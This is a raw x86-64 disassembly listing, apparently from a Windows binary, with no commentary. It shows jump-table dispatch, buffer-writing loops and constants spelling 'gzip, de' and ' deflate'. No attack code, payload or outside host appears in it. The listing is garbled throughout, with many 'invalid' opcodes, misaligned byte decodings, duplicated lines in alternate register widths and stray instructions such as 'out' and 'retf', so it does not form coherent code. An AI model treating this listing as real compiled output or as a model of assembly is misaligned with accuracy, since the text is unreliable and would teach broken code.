mov rsi, qword [rsp + 0x208]
test eax, eax
jne 0x1400299c0
jmp 0x140029e92
cmp r13b, 7
jne 0x1400299c0
movzx ecx, word [rsp + 0x298]
cmp word [rax], cx
je 0x140029e92
nop dword [rax + rax]
invalid
add byte [rax], al
cmp rsi, r14
test byte [rdi], 0x86
invalid
jbe 0x14002b015
cmp qword [r12 + rbx], 0
sbb al, 0
add byte [rdi], cl
test byte [rsi], ch
add al, byte [rax]
add byte [rcx + rax - 0x1d], cl
invalid
je 0x140029c02
add rbx, r12
jrcxz 0x140029a20
mov rbp, qword [rbx + 8]
mov ebp, dword [rbx + 8]
lea r14, [r11 + rbp]
cmp rsi, r14
cmp esi, esi
cmp esi, esi
ja 0x1400297f0
invalid
jmp 0x14002b02d
invalid
mov rax, qword [rsp + 0xa8]
and al, 0xa8
add byte [rax], al
add byte [rax + 0x48382444], cl
mov byte [rsp + 0x38], al
mov rax, qword [rsp + 0x50]
mov eax, dword [rsp + 0x50]
mov eax, dword [rsp + 0x50]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
lea rcx, [rsp + 0xc0]
lea ecx, [rsp + 0xc0]
lea ecx, [rsp + 0xc0]
mov rdx, qword [rsp + 0x398]
lea r8, [rsp + 0x3a0]
movabs al, byte [0x1ae6e8000003]
and al, 0x98
add eax, dword [rax]
add byte [rbp + rcx*4 - 0x7c], cl
and al, 0xa0
movabs al, byte [0x1ae6e8000003]
add eax, dword [rax]
add al, ch
out 0x1a, al
add byte [rax], al
mov rax, qword [rsp + 0xc0]
lea rcx, [0x140176e00]
rcl dword [rax + rax], cl
test byte [rax + rax*8], ah
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x14d3c7
rcl dword [rax + rax], cl
rcl dword [rax + rax], cl
movsxd rax, dword [rcx + rax*4]
add al, 0x81
add rax, rcx
lea r13, [rsp + 0x160]
mov rbx, qword [rsp + 0x280]
pushfq
and al, 0x80
add al, byte [rax]
add byte [rax - 0x75], cl
mov esp, 0xb024
add byte [rbx + rcx*4 - 0x5c], cl
and al, 0x60
add al, byte [rax]
add byte [rbx + rcx*4 - 0x44], al
and al, 0x94
add byte [rax], al
add bh, bh
jmp rax
pushfq
and al, 0x80
add al, byte [rax]
add byte [rax - 0x75], cl
mov esp, 0xb024
add byte [rbx + rcx*4 - 0x5c], cl
and al, 0x60
add al, byte [rax]
add byte [rbx + rcx*4 - 0x44], al
and al, 0x94
add byte [rax], al
add bh, bh
jmp rax
invalid
mov rax, qword [rsp + 0xa8]
mov eax, dword [rsp + 0xa8]
mov byte [rsp + 0x38], al
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], rdi
lea rcx, [rsp + 0xc0]
mov rdx, qword [rsp + 0x398]
mov edx, dword [rsp + 0x398]
mov edx, dword [rsp + 0x398]
lea r8, [rsp + 0x3a0]
call fcn.14002b510
mov rax, qword [rsp + 0xc0]
lea rcx, [0x140176e00]
rcl dword [rax + rax], cl
movsxd rax, dword [rcx + rax*4]
add rax, rcx
lea r13, [rsp + 0x160]
mov rbx, qword [rsp + 0x280]
add byte [rax], al
invalid
add byte [rax], al
mov rdi, qword [rsp + 0xb0]
mov r12, qword [rsp + 0x260]
mov r15d, dword [rsp + 0x94]
add byte [rax], al
add byte [rax], al
jmp rax
mov rsi, qword [rsp + 0xc8]
mov rax, qword [rsp + 0x60]
and al, 0x60
mov rcx, qword [rsp + 0x68]
cmp rsi, 0x7f
jae 0x140029b10
invalid
mov rbp, rsi
cmp rcx, rax
je 0x1400293a9
jmp case.0x14001a6b7.345
dec dword [rax + 0x39]
sal dword [rbp + 0x19], 0xba
add dword [rax], eax
add byte [rax], al
cmp rcx, rax
jne case.0x140018f24.607
mov edx, 1
add byte [rax - 0x73], cl
and al, 0x58
lea rcx, [rsp + 0x58]
call fcn.1400126f0
dec dword [rax - 0x75]
and al, 0x60
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov ecx, dword [rsp + 0x68]
push 0x24548b48
pop rax
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax], 0xff
inc rax
inc eax
mov qword [rsp + 0x80], rax
cmp rax, rcx
ja case.default.0x14002a5a1
add rsi, 0xffffffffffffff81
add esi, 0xffffff81
mov qword [rsp + 0x60], rax
cmp rsi, 0x80
inc byte [rax + 0x72000000]
invalid
inc byte [rax + 0x72000000]
invalid
nop dword [rax]
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne 0x140029b83
mov edx, 1
lea rcx, [rsp + 0x58]
call fcn.1400126f0
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov edx, esi
or dl, 0x80
mov r8, qword [rsp + 0x58]
mov byte [r8 + rax], dl
inc rax
mov qword [rsp + 0x80], rax
cmp rax, rcx
ja case.default.0x14002a5a1
add byte [rax - 0x77], cl
and al, 0x60
mov qword [rsp + 0x60], rax
mov rcx, rsi
shr rcx, 7
cmp rsi, 0x3fff
mov rsi, rcx
ja 0x140029b60
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne 0x140029be0
mov edx, 1
lea rcx, [rsp + 0x58]
and al, 0x58
and al, 0x58
call fcn.1400126f0
mov rax, qword [rsp + 0x60]
and al, 0x60
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax], sil
inc rax
mov qword [rsp + 0x80], rax
mov dword [rsp + 0x80], eax
add cl, byte [rax - 1]
ror byte [rax - 0x77], 0x84
mov dword [rsp + 0x80], eax
cmp rax, rcx
jbe 0x1400293e3
cmp rax, rcx
jbe 0x1400293e3
jmp case.default.0x14002a5a1
test r13b, r13b
je case.default.0x140029caa
cmp byte [rsp + 0x290], 0xfa
and al, 0x90
add al, byte [rax]
add dl, bh
cli
jae case.default.0x140029caa
add r14, 0x3e
mov qword [rsp + 0xc8], r14
invalid
mov rax, qword [rsp + 0x3e0]
lea rcx, [rsp + 0xd0]
mov qword [rcx + 0x40], rax
add byte [rax - 0x73], cl
mov word [rax + rdx*8], fs
add byte [rax], al
add byte [rax - 0x77], cl
movaps xmm0, xmmword [rsp + 0x3a0]
movaps xmm0, xmmword [rsp + 0x3a0]
movaps xmm0, xmmword [rsp + 0x3a0]
movaps xmm1, xmmword [rsp + 0x3b0]
movaps xmm2, xmmword [rsp + 0x3c0]
sub byte [rsp + 0x3c0], dl
mov word [rax + rsi*4], fs
add eax, dword [rax]
add byte [rdi], cl
sub byte [rsp + 0x3c0], dl
movaps xmm3, xmmword [rsp + 0x3d0]
movups xmmword [rcx + 0x30], xmm3
add eax, dword [rax]
add byte [rdi], cl
adc dword [rcx + 0x30], ebx
movups xmmword [rcx + 0x20], xmm2
movups xmmword [rcx + 0x10], xmm1
adc dword [rcx + 0x10], ecx
adc dword [rcx + 0x10], ecx
movups xmmword [rcx], xmm0
mov qword [rsp + 0xc0], 1
add byte [rax - 0x75], cl
test byte [rax + rax*8], ah
rol byte [rax], 0
add byte [rax - 0x73], cl
or eax, 0x14d17d
add byte [rax - 0x75], cl
test byte [rax + rax*8], ah
rol byte [rax], 0
add byte [rax - 0x73], cl
or eax, 0x14d17d
movsxd rax, dword [rcx + rax*4]
add rax, rcx
lea r13, [rsp + 0x160]
mov rbx, qword [rsp + 0x280]
mov r14, qword [rsp + 0x2a0]
mov r12, qword [rsp + 0x260]
jmp rax
invalid
invalid
mov qword [rsp + 0x288], r9
mov byte [rdx], al
add byte [rax], al
lea rcx, [rsp + 0x210]
add byte [rax], al
call fcn.14001d760
add rax, qword [rsp + 0x4f8]
mov rsi, qword [rsp + 0x88]
mov qword [rsi + 0x60], rax
mov edx, 1
mov rcx, qword [rsp + 0x398]
mov r8, rbp
call fcn.14002b7e0
mov rax, qword [rsp + 0x3e0]
add eax, dword [rax]
add byte [rax - 0x73], cl
mov word [rax + rbp*2], fs
add dword [rax], eax
add byte [rax - 0x77], cl
movaps xmm0, xmmword [rsp + 0x3a0]
add eax, dword [rax]
invalid
movaps xmm1, xmmword [rsp + 0x3b0]
movaps xmm2, xmmword [rsp + 0x3c0]
movaps xmm3, xmmword [rsp + 0x3d0]
movups xmmword [rcx + 0x30], xmm3
movups xmmword [rcx + 0x20], xmm2
movups xmmword [rcx + 0x10], xmm1
adc dword [rcx + 0x10], ecx
movups xmmword [rcx], xmm0
mov rax, qword [rsi + 0x58]
inc rax
mov qword [rsi + 0x58], rax
mov rcx, qword [rsi + 0x30]
xor byte [rax - 0x75], r9b
push rsi
cmp rdx, rcx
xor byte [rax - 0x75], r9b
push rsi
cmp rdx, rcx
lea r13, [rsp + 0x160]
mov rbx, qword [rsp + 0x280]
jne 0x140029d76
invalid
and dword [rax - 0x75], ecx
mov word [rax + rbx*8], fs
add al, 0
add al, ch
sahf
sbb eax, 0x8b480000
test byte [rax + rcx*4], ah
and al, 0x88
mov rcx, qword [rsp + 0x4d8]
call fcn.14002bb00
mov rax, qword [rsp + 0x88]
and al, 0x88
add byte [rax], al
add byte [rax - 0x75], cl
xor byte [rax - 0x75], cl
mov edx, dword [rax + 0x48]
and al, 0x88
add byte [rax], al
add byte [rax - 0x75], cl
xor byte [rax - 0x75], cl
mov edx, dword [rax + 0x48]
mov rax, qword [rax + 0x58]
mov edx, dword [rax + 0x48]
mov rax, qword [rax + 0x58]
mov r10, qword [rsp + 0x88]
and al, 0x88
add byte [rax], al
add byte [rbp - 0x75], cl
invalid
invalid
mov r8, qword [r10 + 0x40]
dec r8
dec eax
dec r8
dec eax
mov r9, r8
add r9, rcx
cmovae r9, r8
enter 0xffffffffffff8b4d, 0x42
cmp byte [rbp - 0x77], cl
invalid
invalid
enter 0xffffffffffff8b4d, 0x42
cmp byte [rbp - 0x77], cl
inc rdx
inc rdx
inc rdx
inc edx
mov qword [r10 + 0x48], rdx
lea r10, [r9 + r9*2]
shl r10, 5
shl r10, 5
add eax, 0x1004c74b
add byte [rax], al
add byte [rax], al
invalid
mov qword [r8 + r10], 0
add byte [rax], al
add byte [rdi], cl
movups xmm0, xmmword [rsp + 0x160]
adc byte [rsp + 0x160], al
movups xmm1, xmmword [rsp + 0x170]
movups xmm2, xmmword [rsp + 0x180]
and al, 0x80
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x190], bl
and al, 0x80
add dword [rax], eax
add byte [rcx], 0
add byte [rdi], cl
adc byte [rsp + 0x190], bl
movups xmmword [r8 + r10 + 8], xmm0
movups xmmword [r8 + r10 + 0x18], xmm1
movups xmmword [r8 + r10 + 0x28], xmm2
push rsp
adc byte [rax], ch
invalid
push rsp
adc byte [rax], ch
invalid
sub byte [rbx + 0xf], al
adc dword [rax + rdx + 0x38], ebx
movups xmmword [r8 + r10 + 0x38], xmm3
movups xmmword [rax + rdx + 0x38], xmm3
movups xmm0, xmmword [rsp + 0x1a0]
movups xmmword [r8 + r10 + 0x48], xmm0
adc dword [rax + rdx + 0x48], eax
add dword [rax], eax
add byte [rbx + 0xf], al
adc dword [rax + rdx + 0x48], eax
mov r11, qword [rsp + 0x288]
mov ebx, dword [rsp + 0x288]
and al, 0x88
add al, byte [rax]
add byte [rdi - 0x77], cl
pop rsp
mov qword [r8 + r10 + 0x58], r11
adc byte [rax + 0x48], bl
add ebp, eax
add rbp, rax
cmp rbp, rdx
mov r12, qword [rsp + 0x260]
movsb byte [rdi], byte [rsi]
and al, 0x60
add al, byte [rax]
add byte [rbx + rcx*4 + 0x54], cl
and al, 0x50
push rax
movsb byte [rdi], byte [rsi]
and al, 0x60
add al, byte [rax]
add byte [rbx + rcx*4 + 0x54], cl
and al, 0x50
push rax
invalid
push rax
jae 0x140029e40
sub cl, byte [rcx + 1]
add r9, rbp
cmp r9, rcx
mov edx, 0
add byte [rax], al
add byte [rax], al
jmp 0xfacbd766
add byte [rax], al
add byte [rax], al
cmovae rdx, rcx
sub r9, rdx
ror dword [rbx - 0x73], 1
or al, 0x49
ror dword [rbx - 0x73], 1
or al, 0x49
shl rcx, 5
loope 0x140029e35
neg rax
mov qword [r8 + rcx], 1
add dword [rax], eax
add byte [rax], al
add al, 8
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x77], cl
or byte [rax], r9b
mov qword [r8 + rcx + 8], rax
cmp byte [rsp + 0xbc], 0
and al, 0xbc
add byte [rax], al
add byte [rax], al
je case.default.0x140029e90
add byte [rax], al
add r14, 0x3e
mov qword [rsp + 0xc8], r14
mov ah, 0x24
enter 0, 0
enter 0, 0
mov qword [rsp + 0xd0], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0xc0], 3
mov rax, qword [rsp + 0xc0]
lea rcx, [0x140176e00]
rol byte [rax], 0
add byte [rbx], al
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rax*8], ah
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x14cf7f
iretd
movsxd rax, dword [rcx + rax*4]
add al, 0x81
add rax, rcx
mov r14, qword [rsp + 0x2a0]
jmp rax
add bh, bh
loopne 0x140029edc
add r14, 0x3e
add esi, 0x3e
invalid
mov qword [rsp + 0xc8], r14
mov rax, qword [rsp + 0x3e0]
add eax, dword [rax]
add byte [rax - 0x73], cl
mov word [rax + rdx*8], fs
add byte [rax], al
add byte [rax - 0x77], cl
movaps xmm0, xmmword [rsp + 0x3a0]
and al, 0xc8
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + riz*8], ah
add eax, dword [rax]
add byte [rax - 0x73], cl
mov word [rax + rdx*8], fs
add byte [rax], al
add byte [rax - 0x77], cl
movaps xmm0, xmmword [rsp + 0x3a0]
movaps xmm1, xmmword [rsp + 0x3b0]
movaps xmm2, xmmword [rsp + 0x3c0]
movaps xmm3, xmmword [rsp + 0x3d0]
movups xmmword [rcx + 0x30], xmm3
movups xmmword [rcx + 0x20], xmm2
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx], xmm0
adc dword [rcx], eax
adc byte [r15], cl
adc dword [rcx], eax
mov qword [rsp + 0xc0], 0
mov rax, qword [rsp + 0xc0]
lea rcx, [0x140176e00]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
add eax, ecx
or dword [rax + 1], 0xac8d4cc8
add eax, ecx
lea r13, [rsp + 0x160]
and al, 0x60
add dword [rax], eax
add byte [rax - 0x75], cl
mov rbx, qword [rsp + 0x280]
invalid
invalid
invalid
mov rbx, qword [rsp + 0x280]
add byte [rax], al
mov r14, qword [rsp + 0x2a0]
mov r12, qword [rsp + 0x260]
invalid
add al, byte [rax]
add bh, bh
jmp rax
invalid
mov ah, 0x24
movabs al, byte [0x6024a48b4c000002]
add byte [rbx + rcx*4 - 0x5c], cl
and al, 0x60
invalid
and al, 0xa0
add al, byte [rax]
add byte [rbx + rcx*4 - 0x5c], cl
and al, 0x60
invalid
invalid
add al, byte [rax]
add bh, bh
invalid
loopne 0x140029f72
mov qword [rsp + 0xc8], r10
mov dword [rsp + 0xc8], edx
enter 0, 0
add byte [rax], al
mov qword [rsp + 0xd0], 0
mov dword [rsp + 0xd0], 0
mov qword [rsp + 0xc0], 3
mov rax, qword [rsp + 0xc0]
and al, 0xc0
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x14ceac
adc al, 0
rol byte [rax], 0
add byte [rax - 0x73], cl
or eax, 0x14ceac
adc al, 0
movsxd rax, dword [rcx + rax*4]
add rax, rcx
mov r14, qword [rsp + 0x2a0]
mov esi, dword [rsp + 0x2a0]
jmp rax
mov rsi, qword [rsp + 0xc8]
add byte [rax - 0x73], cl
mov word [rax + rdx*8], fs
lea rcx, [rsp + 0xd0]
call case.0x140029841.60
add byte [rcx - 0x77], cl
ror byte [rdi], 1
mov dh, 0x8c
and al, 0x10
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add al, ch
sbb al, 0
add byte [rcx - 0x77], cl
ror byte [rdi], 1
mov dh, 0x8c
and al, 0x10
add dword [rax], eax
add byte [rax], al
lea edx, [rcx - 8]
invalid
cli
add byte [rax], al
lea edx, [rcx - 8]
cmp dl, 0xfa
cli
setb dl
test cl, cl
setne r9b
ret 0xc984
and r9b, dl
and cl, dl
ror dword [rax - 0x73], 1
and al, 0x58
pop rax
lea rcx, [rsp + 0x58]
pop rax
mov qword [rsp + 0x20], rcx
and al, 0x20
and al, 0x20
and byte [rax - 0x77], cl
mov rcx, rsi
int1
mov rdx, rax
call fcn.14002bce0
sbb eax, 0x3fe90000
add byte [rax], al
add cl, ch
invalid
jmp 0x14002a9f0
or al, byte [rax]
add byte [rax + 0x3a], bh
mov eax, 0x3a
mov eax, 0x3a
add byte [rax], al
add cl, ch
pop rdx
jmp 0x140029fb9
jmp 0x140028b15
invalid
mov eax, 0x36
jmp 0x140028b15
add byte [rax], al
add cl, ch
push rax
jmp 0x140029fc3
invalid
mov eax, 0x35
jmp 0x140028b15
add byte [rax], al
add cl, ch
jmp 0x140029fcd
invalid
mov eax, 0x33
jmp 0x140028b15
add byte [rax], al
add cl, ch
cmp al, 0xeb
invalid
mov eax, 0x3b
jmp 0x140028b15
add byte [rax], al
add cl, ch
xor ch, bl
invalid
mov eax, 0x21
jmp 0x140028b15
jmp 0x140029feb
invalid
jmp 0x140029feb
invalid
mov eax, 0x24
jmp 0x140028b15
jmp 0x140029ff5
invalid
jmp 0x140029ff5
invalid
mov eax, 1
mov ecx, 0x1c
add byte [rax], al
mov qword [rsp + 0xc8], rcx
mov rcx, qword [rsp + 0x158]
lea rdx, [rsp + 0xd0]
rol byte [rax], 1
add byte [rax], al
rol byte [rax], 1
add byte [rax], al
mov qword [rdx + 0x40], rcx
movups xmm0, xmmword [rsp + 0x118]
test byte [rax + rbx], ah
add dword [rax], eax
invalid
test byte [rax + rbx], ah
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x128], cl
sub byte [rcx], al
add byte [rax], al
invalid
movups xmm1, xmmword [rsp + 0x128]
sub byte [rcx], al
add byte [rax], al
invalid
add byte [rdi], cl
adc byte [rsp + 0x138], dl
movups xmm2, xmmword [rsp + 0x138]
movups xmm3, xmmword [rsp + 0x148]
movups xmmword [rdx + 0x30], xmm3
xor byte [rdi], cl
adc dword [rdx + 0x20], edx
movups xmmword [rdx + 0x10], xmm1
adc byte [rdi], cl
movups xmmword [rdx], xmm0
adc dword [rdx], eax
mov qword [rsp + 0xc0], rax
lea rcx, [0x140176e00]
movsxd rax, dword [rcx + rax*4]
invalid
add rax, rcx
invalid
jmp rax
enter 0xffffffffffffe0ff, 0xffffffffffffffb8
mov eax, 1
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + 0x28], bh
mov ecx, 0x28
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rsp + 0xc8], rcx
mov word [rax + rcx*8], fs
add byte [rax], al
add byte [rax - 0x75], cl
mov word [rax + rbx*2], fs
add dword [rax], eax
add byte [rax - 0x73], cl
lea edx, [rsp + 0xd0]
mov qword [rdx + 0x40], rcx
movups xmm0, xmmword [rsp + 0x118]
mov rcx, qword [rsp + 0x158]
lea rdx, [rsp + 0xd0]
lea edx, [rsp + 0xd0]
lea edx, [rsp + 0xd0]
mov qword [rdx + 0x40], rcx
movups xmm0, xmmword [rsp + 0x118]
movups xmm0, xmmword [rsp + 0x118]
movups xmm1, xmmword [rsp + 0x128]
adc byte [rsp + 0x128], cl
add byte [rdi], cl
adc byte [rsp + 0x138], dl
and al, 0x38
add dword [rax], eax
invalid
movups xmm2, xmmword [rsp + 0x138]
movups xmm3, xmmword [rsp + 0x148]
adc byte [rsp + 0x148], bl
movups xmmword [rdx + 0x30], xmm3
pop rdx
xor byte [rdi], cl
adc dword [rdx + 0x20], edx
movups xmmword [rdx + 0x20], xmm2
movups xmmword [rdx + 0x10], xmm1
adc byte [rdi], cl
movups xmmword [rdx], xmm0
adc dword [rdx], eax
mov qword [rsp + 0xc0], rax
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x14cd38
lea rcx, [0x140176e00]
movsxd rax, dword [rcx + rax*4]
invalid
add al, 0x81
add rax, rcx
jmp rax
mov eax, 0x26
add byte [rax], al
add cl, ch
cmp ch, dl
invalid
add byte [rax], al
jmp 0x140028b15
mov eax, 0x19
add byte [rax], al
add byte [rax], al
add cl, ch
xor dl, ch
invalid
jmp 0x140028b15
invalid
mov eax, 0x30
add byte [rax], al
add cl, ch
invalid
add byte [rax], al
jmp 0x140028b15
mov eax, 0x2b
add byte [rax], al
add cl, ch
invalid
sbb al, 0xea
add byte [rax], al
jmp 0x140028b15
invalid
mov eax, 1
add byte [rax], al
add byte [rcx + 0x37], bh
add byte [rax], al
mov ecx, 0x37
mov qword [rsp + 0xc8], rcx
mov rcx, qword [rsp + 0x158]
pop rax
add dword [rax], eax
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xd0
add byte [rax], al
add byte [rax - 0x77], cl
movups xmm0, xmmword [rsp + 0x118]
movups xmm0, xmmword [rsp + 0x118]
mov word [rax + rcx*8], fs
and al, 0xc8
add byte [rax], al
add byte [rax - 0x75], cl
mov word [rax + rbx*2], fs
pop rax
pop rax
add dword [rax], eax
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xd0
add byte [rax], al
add byte [rax - 0x77], cl
movups xmm0, xmmword [rsp + 0x118]
movups xmm0, xmmword [rsp + 0x118]
movups xmm0, xmmword [rsp + 0x118]
movups xmm1, xmmword [rsp + 0x128]
adc byte [rsp + 0x128], cl
add byte [rdi], cl
adc byte [rsp + 0x138], dl
and al, 0x38
add dword [rax], eax
invalid
movups xmm2, xmmword [rsp + 0x138]
and al, 0x38
add dword [rax], eax
add byte [rdi], cl
movups xmm3, xmmword [rsp + 0x148]
adc byte [rsp + 0x148], bl
add dword [rax], eax
add byte [rdi], cl
adc dword [rdx + 0x30], ebx
invalid
movups xmmword [rdx + 0x30], xmm3
xor byte [rdi], cl
adc dword [rdx + 0x20], edx
invalid
movups xmmword [rdx + 0x20], xmm2
and byte [rdi], cl
adc dword [rdx + 0x10], ecx
invalid
movups xmmword [rdx + 0x10], xmm1
adc byte [rdi], cl
adc dword [rdx], eax
movups xmmword [rdx], xmm0
mov qword [rsp + 0xc0], rax
test byte [rax + rax*8], ah
add byte [rax], al
add byte [rax], al
lea rcx, [0x140176e00]
add byte [rax], al
lea rcx, [0x140176e00]
int3
movsxd rax, dword [rcx + rax*4]
add rax, rcx
invalid
jmp rax
mov eax, 0x25
jmp 0x140028b15
invalid
invalid
invalid
mov eax, 0x1b
add byte [rax], al
jmp 0x140028b15
invalid
mov eax, 1
mov ecx, 0x22
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
mov word [rax + rcx*8], fs
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0xc8], rcx
mov rcx, qword [rsp + 0x158]
lea rdx, [rsp + 0xd0]
lea edx, [rsp + 0xd0]
add byte [rax - 0x75], cl
mov word [rax + rbx*2], fs
add dword [rax], eax
add byte [rax - 0x73], cl
lea edx, [rsp + 0xd0]
mov qword [rdx + 0x40], rcx
movups xmm0, xmmword [rsp + 0x118]
lea edx, [rsp + 0xd0]
mov qword [rdx + 0x40], rcx
movups xmm0, xmmword [rsp + 0x118]
movups xmm0, xmmword [rsp + 0x118]
movups xmm1, xmmword [rsp + 0x128]
movups xmm2, xmmword [rsp + 0x138]
add byte [rdi], cl
adc byte [rsp + 0x138], dl
movups xmm3, xmmword [rsp + 0x148]
movups xmmword [rdx + 0x30], xmm3
movups xmmword [rdx + 0x20], xmm2
movups xmmword [rdx + 0x10], xmm1
invalid
push rdx
and byte [rdi], cl
adc dword [rdx + 0x10], ecx
invalid
adc byte [rdi], cl
adc dword [rdx], eax
movups xmmword [rdx], xmm0
mov qword [rsp + 0xc0], rax
lea rcx, [0x140176e00]
movsxd rax, dword [rcx + rax*4]
add al, 0x81
add al, 0x81
add rax, rcx
jmp rax
invalid
loopne 0x14002a230
cmp qword [rsp + 0x438], 0xd
cmp dword [rsp + 0x438], 0xd
and al, 0x38
add al, 0
add byte [rax], al
add byte [0x148b12703], cl
or eax, 0x8ae850f
jne 0x14002aaa4
add byte [rax], al
movabs rax, 0x6564202c70697a67
mov rdx, qword [rsp + 0x430]
mov eax, 0x70697a67
sub al, 0x20
mov rdx, qword gs:[rsp + 0x430]
xor rax, qword [rdx]
movabs rcx, 0x6574616c66656420
invalid
je case.0x14003683b.75
xor rcx, qword [rdx + 5]
add cl, byte [rax - 0x47]
and byte [rbp + riz*2 + 0x66], ah
insb byte [rdi], dx
invalid
xor ecx, dword [rdx + 5]
or rcx, rax
or ecx, eax
ror dword [rdi], 0x94
sar dword [rax + 0x10], 0x48
mov qword [rsp + 0x50], rax
sete cl
mov eax, 0x10
mov qword [rsp + 0x50], rax
and al, 0x50
test cl, cl
je 0x140028733
invalid
jmp 0x1400292e6
mov eax, 0x2c
jmp 0x140028b15
add byte [rax], al
add cl, ch
invalid
mov eax, 1
mov ecx, 0x2e
add byte [rax - 0x77], cl
mov word [rax + rcx*8], fs
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov word [rax + rcx*8], fs
add byte [rax], al
add byte [rax], al
invalid
invalid
mov word [rax + rbx*2], fs
pop rax
mov dword [rsp + 0xc8], ecx
add byte [rax], al
mov rcx, qword [rsp + 0x158]
lea rdx, [rsp + 0xd0]
xchg esp, eax
and al, 0xd0
add byte [rax], al
add byte [rax], al
add dword [rax], eax
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xd0
add byte [rax], al
add byte [rax], al
invalid
invalid
add byte [rax], al
mov qword [rdx + 0x40], rcx
movups xmm0, xmmword [rsp + 0x118]
movups xmm0, xmmword [rsp + 0x118]
movups xmm1, xmmword [rsp + 0x128]
mov word [rax + rbp], fs
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x138], dl
and al, 0x38
add dword [rax], eax
invalid
movups xmm2, xmmword [rsp + 0x138]
cmp byte [rcx], al
add byte [rax], al
movups xmm3, xmmword [rsp + 0x148]
adc byte [rsp + 0x148], bl
add byte [rax], al
movups xmmword [rdx + 0x30], xmm3
xor byte [rdi], cl
adc dword [rdx + 0x20], edx
invalid
movups xmmword [rdx + 0x20], xmm2
movups xmmword [rdx + 0x10], xmm1
adc byte [rdi], cl
movups xmmword [rdx], xmm0
adc dword [rdx], eax
mov qword [rsp + 0xc0], rax
add byte [rax], al
lea rcx, [0x140176e00]
movsxd rax, dword [rcx + rax*4]
invalid
or dword [rax + 1], 0xb8e0ffc8
adc al, 0
add byte [rax], al
invalid
add rax, rcx
jmp rax
mov eax, 0x14
add byte [rax], al
add cl, ch
pop rsi
jmp 0x140028b15
call 0x15abba2b8
invalid
mov eax, 0x1a
add byte [rax], al
add cl, ch
push rsp
call 0x167bba2c2
invalid
invalid
invalid
jmp 0x140028b15
invalid
mov eax, 0x27
add byte [rax], al
add cl, ch
call 0x178bba2cc
invalid
mov eax, 0x38
jmp 0x140028b15
invalid
invalid
jmp 0x140028b15
invalid
mov eax, 0x38
jmp 0x140028b15
call 0x14fbba2d6
invalid
mov eax, 0xf
add byte [rax], al
add cl, ch
call 0x141bba2e0
call 0x141bba2e0
jmp 0x140028b15
call 0x141bba2e0
invalid
mov eax, 1
mov ecx, 0x15
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + 0x15], bh
add byte [rax], al
invalid
add byte [rax], al
add cl, ch
jmp 0x140028aad
mov edi, 0xb8ffffe7
invalid
mov eax, 0x16
jmp 0x140028b15
add byte [rax], al
add cl, ch
sbb eax, 0xb8ffffe8
invalid
cmp al, 0
invalid
mov eax, 0x3c
add byte [rax], al
add byte [rax], al
add cl, ch
adc ebp, eax
jmp 0x140028b15
invalid
mov eax, 0x1d
jmp 0x140028b15
invalid
invalid
add byte [rax], al
add cl, ch
or eax, ebp
invalid
invalid
mov eax, 0x1e
add byte [rax], al
add byte [rax], al
add cl, ch
jmp rdi
jmp 0x140028b15
mov eax, 0x2d
add byte [rax], al
add byte [rax], al
add cl, ch
cmc
out 0xff, eax
invalid
jmp 0x140028b15
mov eax, 0x11
jmp 0x140028b15
out 0xff, eax
invalid
add byte [rax], al
add cl, ch
jmp 0x14002a30f
invalid
out 0xff, eax
invalid
mov eax, 0x3d
jmp 0x140028b15
add byte [rax], al
add cl, ch
loope 0x14002a319
invalid
mov eax, 0x12
jmp 0x140028b15
add byte [rax], al
add cl, ch
xlatb
out 0xff, eax
invalid
mov eax, 0x34
jmp 0x140028b15
mov eax, 0x18
jmp 0x140028b15
mov eax, 1
mov ecx, 0x17
mov qword [rsp + 0xc8], rcx
mov rcx, qword [rsp + 0x158]
lea rdx, [rsp + 0xd0]
mov qword [rdx + 0x40], rcx
movups xmm0, xmmword [rsp + 0x118]
movups xmm1, xmmword [rsp + 0x128]
movups xmm2, xmmword [rsp + 0x138]
add byte [rdi], cl
adc byte [rsp + 0x138], dl
movups xmm3, xmmword [rsp + 0x148]
movups xmmword [rdx + 0x30], xmm3
movups xmmword [rdx + 0x20], xmm2
movups xmmword [rdx + 0x10], xmm1
adc byte [rdi], cl
adc dword [rdx], eax
adc byte [rdi], cl
adc dword [rdx], eax
mov qword [rsp + 0xc0], rax
lea rcx, [0x140176e00]
retf 0x14
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
retf 0x14
mov eax, 1
mov ecx, 0x20
mov qword [rsp + 0xc8], rcx
add byte [rax], al
add byte [rax], al
mov rcx, qword [rsp + 0x158]
lea rdx, [rsp + 0xd0]
mov qword [rdx + 0x40], rcx
movups xmm0, xmmword [rsp + 0x118]
add byte [rax], al
movups xmm1, xmmword [rsp + 0x128]
